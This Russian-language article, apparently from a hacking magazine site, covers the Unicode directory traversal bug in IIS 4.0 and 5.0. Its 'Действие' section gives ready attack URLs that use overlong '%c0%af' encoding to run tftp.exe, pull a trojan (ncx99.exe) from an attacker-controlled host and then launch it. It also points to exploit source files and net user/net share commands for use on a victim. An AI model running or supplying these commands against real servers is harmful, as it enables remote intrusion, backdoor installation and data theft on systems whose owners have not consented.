ЕСЛИ ВЫ НАЙДЕТЕ БОЛЕЕ ПОЛНУЮ ИНФОРМАЦИЮ О
БАГЕ, ОПИСАННОМ В ЭТОМ РУКОВОДСТВЕ,
ПОЖАЛУЙСТА, ПОДЕЛИТЕСЬ ЕЮ С НАМИ.
СПАСИБО.

Предварительные данные

Как было упомянуто в других руководствах,
удаленный пользователь может выполнить
любую команду на нескольких IIS
4.0 и 5.0 системах,
используя заданные функции юникода для “/”.


Каковы эти функции юникода? Юникод версии
2.0 предоставляет возможность создавать
множественные виды кодировки для каждого
символа, например:

2f
c0 af
e0 80 af
f0 80 80 af
f8 80 80 80 af
fc 80 80 80 80 af

это все возможные функции для
“/”.
Хороший (судя по всему у MS он вовсе не
хороший 🙂 уникодовый декодер должен
запрещать все функции, в которых
шестнадцатеричное значение превышает
самую маленькое представление символа, это нужно для того,
чтобы в последствии избежать проблем с
фильтрацией.

Вот здесь и начинаются проблемы в
IIS
4.0 и 5.0. Дело в том,
что IIS сначала
сканирует заданную ссылку на вхождение
../  и ..\ и
в том случае, если такая строка найдена, то
она сразу же отбрасывается, а если не
найдена, то такая строка будет
незамедлительно исполнена.

Но сканер IIS не проверяет огромное количество
вариаций ../ и ..\, из-за чего существующий фильтр
легко обходится и следовательно можно
запустить последующие процедуры
проникновения. До сего времени,
только сервера, на которых была корневая
директория /wwwroot/ в той же партиции, что и
сама WINNT
были уязвимы (несмотря на это, мы заметили, что
даже если по каой то причине на
диске С есть
директория /Inetpub/wwwroot/, то команды все равно
можно выполнять, даже если корень севрера
находится, скажем, на диске D).


Использовать баг довольно просто, но нужно
знать, что использование «канала» (>|<) всегда вызывает ошибку сервера (500 server error), и следовательно мы не можем использовать стандартные процедуры NT, такие как ftp, telnet или использовать ftp.exe для загрузки файлов или создавать произвольные файлы. 

Но все же мы так или иначе
можем просматривать, удалять и копировать
файлы, не меняя их содержимое и не запуская,
скажем, собственный троян.


Описание ошибки

Анонимные, удаленные пользователи могут
просматривать, копировать, удалять,
создавать директории и передавать другие,
не защищенные, команды
из окна браузера. Также в эти возможности
входит загрузка троянов и других
враждебных кодов, а также просмотр файлов
формата .asp.


Действие

Используя tftp.exe, который
идет в стандартной поставке Windows NT и Win2K,  вы можете обойти и
ограничения и все-таки загрузить троян. Установите
эту программу ftp://ftp.cavebear.com/karl/tftpd32.zip
и приконнектитесь с чужой машины к своей,
используя следующую команду: 

tftp.exe -i
xxx.xxx.xxx.xxx GET ncx99.exe

Например для этого
подойдет такая ссылка:

 /[bin-dir]/..%c0%af../winnt/system32/tftp.exe+
«-i»+xxx.xxx.xxx.xxx+GET+ncx99.exe+ c:\winnt\system32\ncx99.exe

Далее вам нужно только запустить троян
такой командой:

/[bin-dir]/..%c0%af../winnt/system32/ncx99.exe


Так же вы можете использовать команды:
«net share and net user» на жертве и «net use»
на собственной машине, но этот способ не
всегда работает (вероятная причина — не
установленный netbios??).


Авторы


Дырка впервые был опубликована
на форуме Packetstorm неизвестным автором.


Исходники

http://www.unixandbeer.com/reggie/IIS4-5.exe
http://packetstorm.securify.com/0010-exploits/iisex.c

Литература:

http://www.unicode.org/charts/PDF/
http://home.sch.bme.hu/~kisza/secure-programs/x401.html
http://www.cl.cam.ac.uk/~mgk25/unicode.html

Оставить мнение

Check Also

Конкурс хаков: пишем на PowerShell скрипт, который уведомляет о днях рождения пользователей Active Directory

В компаниях часто встречается задача уведомлять сотрудников о приближающихся днях рождения…